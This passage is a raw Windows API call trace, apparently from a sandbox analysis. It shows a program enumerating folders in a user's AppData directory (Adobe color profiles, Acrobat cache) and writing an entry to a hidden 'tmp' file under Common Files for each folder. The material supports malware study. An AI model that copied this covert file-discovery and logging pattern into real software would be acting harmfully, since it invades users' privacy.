FindNextFileA (in: hFindFile=0x7d15f0, lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0126.220] AreFileApisANSI () returned 1 [0126.220] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.220] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18cbbc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0126.220] GetFileType (hFile=0x170) returned 0x1 [0126.220] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18cc18 | out: lpNewFilePointer=0x0) returned 1 [0126.220] GetLastError () returned 0xb7 [0126.220] SetLastError (dwErrCode=0xb7) [0126.220] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18cc64 | out: lpNewFilePointer=0x0) returned 1 [0126.220] WriteFile (in: hFile=0x170, lpBuffer=0x18b8a4*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x18b884, lpOverlapped=0x0 | out: lpBuffer=0x18b8a4*, lpNumberOfBytesWritten=0x18b884*=0x64, lpOverlapped=0x0) returned 1 [0126.220] GetLastError () returned 0xb7 [0126.220] SetLastError (dwErrCode=0xb7) [0126.220] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1630 [0126.221] FindNextFileA (in: hFindFile=0x7d1630, lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName="..", cAlternateFileName="")) returned 1 [0126.221] FindNextFileA (in: hFindFile=0x7d1630, lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x102a0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName="wscRGB.icc", cAlternateFileName="")) returned 1 [0126.221] FindNextFileA (in: hFindFile=0x7d1630, lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x36, dwReserved1=0x7b0100, cFileName="wsRGB.icc", cAlternateFileName="")) returned 1 [0126.221] FindNextFileA (in: hFindFile=0x7d1630, lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x36, dwReserved1=0x7b0100, cFileName="wsrgb.icc", cAlternateFileName="")) returned 0 [0126.221] FindClose (in: hFindFile=0x7d1630 | out: hFindFile=0x7d1630) returned 1 [0126.221] GetLastError () returned 0x12 [0126.221] FindNextFileA (in: hFindFile=0x7d15f0, lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x0, cFileName="profiles", cAlternateFileName="")) returned 0 [0126.221] FindClose (in: hFindFile=0x7d15f0 | out: hFindFile=0x7d15f0) returned 1 [0126.221] GetLastError () returned 0x12 [0126.221] FindNextFileA (in: hFindFile=0x7d15b0, lpFindFileData=0x18d2a8 | out: lpFindFileData=0x18d2a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x18d014, cFileName="color", cAlternateFileName="")) returned 0 [0126.221] FindClose (in: hFindFile=0x7d15b0 | out: hFindFile=0x7d15b0) returned 1 [0126.221] GetLastError () returned 0x12 [0126.221] FindNextFileA (in: hFindFile=0x7d1570, lpFindFileData=0x18d604 | out: lpFindFileData=0x18d604*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18d39c, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0126.221] AreFileApisANSI () returned 1 [0126.221] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.221] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d274, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0126.221] GetFileType (hFile=0x168) returned 0x1 [0126.221] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18d2d0 | out: lpNewFilePointer=0x0) returned 1 [0126.222] GetLastError () returned 0xb7 [0126.222] SetLastError (dwErrCode=0xb7) [0126.222] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18d31c | out: lpNewFilePointer=0x0) returned 1 [0126.222] WriteFile (in: hFile=0x168, lpBuffer=0x18bf5c*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x18bf3c, lpOverlapped=0x0 | out: lpBuffer=0x18bf5c*, lpNumberOfBytesWritten=0x18bf3c*=0x60, lpOverlapped=0x0) returned 1 [0126.222] GetLastError () returned 0xb7 [0126.222] SetLastError (dwErrCode=0xb7) [0126.222] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\*.*", lpFindFileData=0x18d2a8 | out: lpFindFileData=0x18d2a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d15b0 [0126.222] FindNextFileA (in: hFindFile=0x7d15b0, lpFindFileData=0x18d2a8 | out: lpFindFileData=0x18d2a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.222] FindNextFileA (in: hFindFile=0x7d15b0, lpFindFileData=0x18d2a8 | out: lpFindFileData=0x18d2a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0126.222] AreFileApisANSI () returned 1 [0126.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.222] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18cf18, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0126.222] GetFileType (hFile=0x16c) returned 0x1 [0126.223] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18cf78 | out: lpNewFilePointer=0x0) returned 1 [0126.223] GetLastError () returned 0xb7 [0126.223] SetLastError (dwErrCode=0xb7) [0126.223] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18cfc4 | out: lpNewFilePointer=0x0) returned 1 [0126.223] WriteFile (in: hFile=0x16c, lpBuffer=0x18bc04*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0x18bbe4, lpOverlapped=0x0 | out: lpBuffer=0x18bc04*, lpNumberOfBytesWritten=0x18bbe4*=0x66, lpOverlapped=0x0) returned 1 [0126.223] GetLastError () returned 0xb7 [0126.223] SetLastError (dwErrCode=0xb7) [0126.223] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d15f0 [0126.223] FindNextFileA (in: hFindFile=0x7d15f0, lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName="..", cAlternateFileName="")) returned 1 [0126.223] FindNextFileA (in: hFindFile=0x7d15f0, lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0126.223] AreFileApisANSI () returned 1 [0126.223] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.223] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18cbbc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0126.223] GetFileType (hFile=0x170) returned 0x1 [0126.224] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18cc18 | out: lpNewFilePointer=0x0) returned 1 [0126.224] GetLastError () returned 0xb7 [0126.224] SetLastError (dwErrCode=0xb7) [0126.224] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18cc64 | out: lpNewFilePointer=0x0) returned 1 [0126.224] WriteFile (in: hFile=0x170, lpBuffer=0x18b8a4*, nNumberOfBytesToWrite=0x6e, lpNumberOfBytesWritten=0x18b884, lpOverlapped=0x0 | out: lpBuffer=0x18b8a4*, lpNumberOfBytesWritten=0x18b884*=0x6e, lpOverlapped=0x0) returned 1 [0126.224] GetLastError () returned 0xb7 [0126.224] SetLastError (dwErrCode=0xb7) [0126.290] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40000000, dwReserved1=0x832430, cFileName=".", cAlternateFileName="")) returned 0x7d1630 [0126.290] FindNextFileA (in: hFindFile=0x7d1630, lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40000000, dwReserved1=0x832430, cFileName="..", cAlternateFileName="")) returned 1 [0126.290] FindNextFileA (in: hFindFile=0x7d1630, lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40000000, dwReserved1=0x832430, cFileName="10.0", cAlternateFileName="")) returned 1 [0126.290] AreFileApisANSI () returned 1 [0126.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.290] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c860, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0126.290] GetFileType (hFile=0x174) returned 0x1 [0126.291] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c8c0 | out: lpNewFilePointer=0x0) returned 1 [0126.291] GetLastError () returned 0xb7 [0126.291] SetLastError (dwErrCode=0xb7) [0126.291] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c90c | out: lpNewFilePointer=0x0) returned 1 [0126.291] WriteFile (in: hFile=0x174, lpBuffer=0x18b54c*, nNumberOfBytesToWrite=0x73, lpNumberOfBytesWritten=0x18b52c, lpOverlapped=0x0 | out: lpBuffer=0x18b54c*, lpNumberOfBytesWritten=0x18b52c*=0x73, lpOverlapped=0x0) returned 1 [0126.291] GetLastError () returned 0xb7 [0126.291] SetLastError (dwErrCode=0xb7) [0126.291] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1670 [0126.291] FindNextFileA (in: hFindFile=0x7d1670, lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.291] FindNextFileA (in: hFindFile=0x7d1670, lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x892c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst", cAlternateFileName="ADOBEC~1.LST")) returned 1 [0126.291] FindNextFileA (in: hFindFile=0x7d1670, lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xd9c071a0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x21cdb, dwReserved0=0x400000, dwReserved1=0x834628, cFileName="AdobeSysFnt10.lst", cAlternateFileName="ADOBES~1.LST")) returned 1 [0126.292] FindNextFileA (in: hFindFile=0x7d1670, lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x400000, dwReserved1=0x834628, cFileName="Cache", cAlternateFileName="")) returned 1 [0126.292] AreFileApisANSI () returned 1 [0126.292] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.292] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c504, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0126.292] GetFileType (hFile=0x178) returned 0x1 [0126.292] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c560 | out: lpNewFilePointer=0x0) returned 1 [0126.292] GetLastError () returned 0xb7 [0126.292] SetLastError (dwErrCode=0xb7) [0126.292] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c5ac | out: lpNewFilePointer=0x0) returned 1 [0126.292] WriteFile (in: hFile=0x178, lpBuffer=0x18b1ec*, nNumberOfBytesToWrite=0x79, lpNumberOfBytesWritten=0x18b1cc, lpOverlapped=0x0 | out: lpBuffer=0x18b1ec*, lpNumberOfBytesWritten=0x18b1cc*=0x79, lpOverlapped=0x0) returned 1 [0126.292] GetLastError () returned 0xb7 [0126.292] SetLastError (dwErrCode=0xb7) [0126.292] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16b0 [0126.293] FindNextFileA (in: hFindFile=0x7d16b0, lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName="..", cAlternateFileName="")) returned 1 [0126.293] FindNextFileA (in: hFindFile=0x7d16b0, lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName="AcroFnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 1 [0126.293] FindNextFileA (in: hFindFile=0x7d16b0, lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName="acrofnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 0 [0126.293] FindClose (in: hFindFile=0x7d16b0 | out: hFindFile=0x7d16b0) returned 1 [0126.293] GetLastError () returned 0x12 [0126.293] FindNextFileA (in: hFindFile=0x7d1670, lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xee0c3750, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x18c5fc, dwReserved1=0x18c62c, cFileName="SharedDataEvents", cAlternateFileName="SHARED~1")) returned 1 [0126.293] FindNextFileA (in: hFindFile=0x7d1670, lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0x7b0000, dwReserved1=0xfb0001fa, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 1 [0126.293] FindNextFileA (in: hFindFile=0x7d1670, lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0x7b0000, dwReserved1=0xfb0001fa, cFileName="usercache.bin", cAlternateFileName="USERCA~1.BIN")) returned 0 [0126.293] FindClose (in: hFindFile=0x7d1670 | out: hFindFile=0x7d1670) returned 1 [0126.293] GetLastError () returned 0x12 [0126.293] FindNextFileA (in: hFindFile=0x7d1630, lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, 